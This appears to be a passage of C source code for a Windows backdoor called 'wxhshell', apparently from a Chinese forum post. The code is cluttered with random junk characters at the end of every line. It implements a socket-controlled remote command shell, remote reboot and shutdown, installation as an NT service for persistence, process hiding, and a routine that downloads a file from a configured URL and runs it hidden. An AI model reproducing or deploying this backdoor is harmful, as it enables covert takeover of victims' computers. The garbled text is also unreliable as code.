    switch(cmd[0]) { /U[Y w)  
  .}.5|z} A  
  // 帮助 yKEE @@}\  
  case '?': { KYY~ YP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v2 [ l$  
    break; *B(na+  
  } ,D-VC{lj  
  // 安装 fG O.wb  
  case 'i': { X%!#Ic]Q  
    if(Install()) kWL\JDZ`.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =V:rO;qX+@  
    else 5Bw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3`4g*wO  
    break; z;UkK  
    } %k#Q) zWJ  
  // 卸载 dX0A(6  
  case 'r': { G0$ 1"9u\w  
    if(Uninstall()) Gnmj-'x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6C>x,kU  
    else 6o&{~SV3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FA\gz?h  
    break; }2M2R}D  
    } `P9vZR;  
  // 显示 wxhshell 所在路径 +` B m  
  case 'p': { KLlo^1.<  
    char svExeFile[MAX_PATH]; _$"qC[.  
    strcpy(svExeFile,"\n\r"); 8%Zl;;W  
      strcat(svExeFile,ExeFile); pDD0 QO  
        send(wsh,svExeFile,strlen(svExeFile),0); [vpZ3;  
    break; @AL,@P/9=  
    } li\hHd5  
  // 重启 & v=2u,]T  
  case 'b': { |r5|IA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Kx6_Vp  
    if(Boot(REBOOT)) , %X~/V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X\\WQxj  
    else { ;<%~g8:XL  
    closesocket(wsh); ,WbO8#z+  
    ExitThread(0); elXY*nt8h  
    } 0mL#8\'"  
    break; E]6C1C&K  
    } uYiM~^ 0  
  // 关机 Mq]~Ka3q7  
  case 'd': { nK Rx_D$d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =x}27f%-Mg  
    if(Boot(SHUTDOWN)) oQ@X}6B%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%#dx4z&  
    else { ciI;U/V  
    closesocket(wsh); ZbCu -a{v  
    ExitThread(0); DGdSu6s$  
    } -8Z%5W`  
    break; ^r73(8{)  
    } vWI9ocl`W  
  // 获取shell 9}t2OJS*h"  
  case 's': { LOi5 ^Um|  
    CmdShell(wsh); pm O}m>  
    closesocket(wsh); eu ~WFI  
    ExitThread(0); 3]0ETcT  
    break; MTBN&4[  
  } ?G+v#?A  
  // 退出 T>d-f=(9KH  
  case 'x': { u!mUUFl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :<Y,^V(  
    CloseIt(wsh); T<~NB5&f  
    break; #)_4$<P*'  
    } & :x_  
  // 离开 S/ ]2Qt#T  
  case 'q': { erYpeq.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *nU7v3D  
    closesocket(wsh); d@pD5n=m;  
    WSACleanup(); 21M@z(q*  
    exit(1); /og2+!  
    break; l,HMm|oU  
        } Ra[{K@  
  } s CSrwsbhv  
  } $Ne$s  
8vK Z;  
  // 提示信息 lM"@vNgK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K[PIw}V$?:  
} He. gl  
  } "CBe$b4  
Z.<OtsQN  
  return; =:mD)oX*  
} &%L1n?>Q}  
^rjICF e  
// shell模块句柄 \kZxys!4  
int CmdShell(SOCKET sock) cF3V{b|bU  
{ $`x4|a8-  
STARTUPINFO si; WMZ&LlB%  
ZeroMemory(&si,sizeof(si)); (}vi"mCeW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )U e9:e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > y"V%  
PROCESS_INFORMATION ProcessInfo; l~Hs]*jm  
char cmdline[]="cmd"; 5`*S'W}\>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K+TRt"W8&s  
  return 0; dGMBgj  
} ]$!-%pNv  
{LVii}<  
// 自身启动模式 { :'#Ts<  
int StartFromService(void) ,ClGa2O  
{ >7B6iR6N  
typedef struct su>GeJiPW  
{ 5Q,#Co  
  DWORD ExitStatus; w_q{C>- cR  
  DWORD PebBaseAddress; _n@#Lufx  
  DWORD AffinityMask; xq- R5(k  
  DWORD BasePriority; /=A^@&:_#  
  ULONG UniqueProcessId; 6pM[.:TM   
  ULONG InheritedFromUniqueProcessId; R8Nr3M9 )  
}   PROCESS_BASIC_INFORMATION; _dVzvk`_R  
?d0I*bs)7  
PROCNTQSIP NtQueryInformationProcess; :% )va  
xrxORtJ<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :o?On/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IQf:aX  
Z{xm(^'i  
  HANDLE             hProcess; .&=nP?ZPC6  
  PROCESS_BASIC_INFORMATION pbi; fI;6!M#  
T?{"T/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5ycccMx0V  
  if(NULL == hInst ) return 0; w`&~m:R  
"detDB   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s"?Z jV)`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F\F_">5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f1y3l1/  
f/&gR5  
  if (!NtQueryInformationProcess) return 0; vzM8U>M  
Z0s}65BR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YvL5>;  
  if(!hProcess) return 0; >VM@9Cph  
"VR>nyG%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .z4 fJx  
=<MSM\Rb  
  CloseHandle(hProcess); n|sP0,$N1  
<R582$( I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #S)+eH  
if(hProcess==NULL) return 0; H WOs   
DKnjmZ:J|  
HMODULE hMod; _TY9!:&}q  
char procName[255]; {D J!T  
unsigned long cbNeeded; \]dx;,T  
S\b[Bq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CtJ*:wF  
F=!p7msRB  
  CloseHandle(hProcess); luRtuXn[8  
0+%{1JkJq  
if(strstr(procName,"services")) return 1; // 以服务启动 q">lP (t  
*UhYX)J  
  return 0; // 注册表启动 uOUgU$%zqH  
} UJMM&  
s.`:9nj  
// 主模块 t>"UenJt-  
int StartWxhshell(LPSTR lpCmdLine) P|HxD0c^u  
{ e=&,jg?K  
  SOCKET wsl; 8Q ba4kgL  
BOOL val=TRUE; `ECT8  
  int port=0; ZmeSm& hQ_  
  struct sockaddr_in door; _rt+OzZ*L  
b5lZ||W.  
  if(wscfg.ws_autoins) Install(); k=!lPIx  
s :ig;zb  
port=atoi(lpCmdLine); ~Gm<F .(+  
 BC*62m  
if(port<=0) port=wscfg.ws_port; o~<Xc  
CC&opC  
  WSADATA data; kqy d3Si>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "`HkAW4GZa  
{~q"Y]?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `u6CuH5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MIma:N_c  
  door.sin_family = AF_INET; UtPFkase  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }#):ZPTs  
  door.sin_port = htons(port); .UX`@Q:Gp  
'/M9V{DD88  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wd "<u2  
closesocket(wsl); HR'sMu3  
return 1; 1oU/gm$7\q  
} 0%J0.USkM7  
9/2VU< K  
  if(listen(wsl,2) == INVALID_SOCKET) { AB(WK9o  
closesocket(wsl); =2v/f_  
return 1; z7TMg^9 #  
} Io_bS+  
  Wxhshell(wsl); 8'XAZSd(  
  WSACleanup(); -wn ,7;  
^f6p w!  
return 0; ov;1=M~RF  
mD@*vq  
} r{\c. \  
R(p`H}^  
// 以NT服务方式启动 TL u+5f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0C!f/EZK  
{ 0 PEg `Wq  
DWORD   status = 0; |pLx,#n  
  DWORD   specificError = 0xfffffff; (~S=DFsP  
lRA=IRQ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s1 mKz0q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ((0nJJjz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0b=1Ce+0q  
  serviceStatus.dwWin32ExitCode     = 0; m8[XA!,  
  serviceStatus.dwServiceSpecificExitCode = 0; xf2|9Tqt  
  serviceStatus.dwCheckPoint       = 0; FgwIOpqE*  
  serviceStatus.dwWaitHint       = 0; $[f-{B{>*  
7slpj8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cp"a,%b6u  
  if (hServiceStatusHandle==0) return; 7)Cn 4{B6  
)+Gw Yt  
status = GetLastError(); )?`G"( y  
  if (status!=NO_ERROR) Y#e,NN  
{ LH}]& >F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '#<4oW\]  
    serviceStatus.dwCheckPoint       = 0; ,J;Cb}  
    serviceStatus.dwWaitHint       = 0; @!'rsPrI  
    serviceStatus.dwWin32ExitCode     = status; a4d7;~tZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; z|Y  Ms?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P{m(.EC_  
    return; {$>Pg/  
  } 2WO5Af%  
j!c~%hP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r=}v` R&  
  serviceStatus.dwCheckPoint       = 0; sdp3geBYo  
  serviceStatus.dwWaitHint       = 0; #jj+/>ZOi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `;j@v8n$*  
} HQkK8'\LP  
nh XVc((  
// 处理NT服务事件,比如:启动、停止 7q%xF#mK=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^sVr#T  
{ 52,[dP,g  
switch(fdwControl) Am ~P$dN  
{ B,S~Idr}  
case SERVICE_CONTROL_STOP: bZ 0{wpeK=  
  serviceStatus.dwWin32ExitCode = 0; C))x#P36  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;_X2E~i[  
  serviceStatus.dwCheckPoint   = 0; sHqa(ynK  
  serviceStatus.dwWaitHint     = 0; G!T_X*^q2U  
  { ,>p1:pga  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aS! If>  
  } !i>d04u`%  
  return; ]\Z8MxFD  
case SERVICE_CONTROL_PAUSE: Lv&9s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LvqWA}  
  break; )FpizoVq0  
case SERVICE_CONTROL_CONTINUE: a%nf )-}|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dtj+ av G  
  break; {8* d{0l  
case SERVICE_CONTROL_INTERROGATE: 3 \}>nE  
  break; gNHS:k\"  
}; @}\i`H1s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1Vy5V|M  
} < k?pnBI_  
vnN 0o5  
// 标准应用程序主函数 QHXA?nBX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d{J@A;d a  
{ m'zve%G  
4mHk,Dd9,  
// 获取操作系统版本 \483S]_-z{  
OsIsNt=GetOsVer(); r2*8.j51  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NkV81?  
A?bqDy  
  // 从命令行安装 uH&B=w  
  if(strpbrk(lpCmdLine,"iI")) Install(); i E?yvtr8  
b>2{F6F  
  // 下载执行文件 ZkJLq[:cM  
if(wscfg.ws_downexe) { VqUCcT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  PI.Zd1r  
  WinExec(wscfg.ws_filenam,SW_HIDE); QWc,JCu  
} xa'^:H $X  
*Z$W"JP  
if(!OsIsNt) { ck< `kJ`b  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~t<G gNI  
HideProc(); !bCSt?}@u  
StartWxhshell(lpCmdLine); 8y']kVg  
} -UM|u_  
else zpD?5  
  if(StartFromService()) k Nvb>v  
  // 以服务方式启动 +MZI\>  
  StartServiceCtrlDispatcher(DispatchTable); D;&\)  
else G^sx/H76J  
  // 普通方式启动 Xs{PAS0  
  StartWxhshell(lpCmdLine); IH&0>a  
!w}b}+]GB  
return 0; "F =NDF  
}
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只看该作者 1 发表于: 2006-10-10
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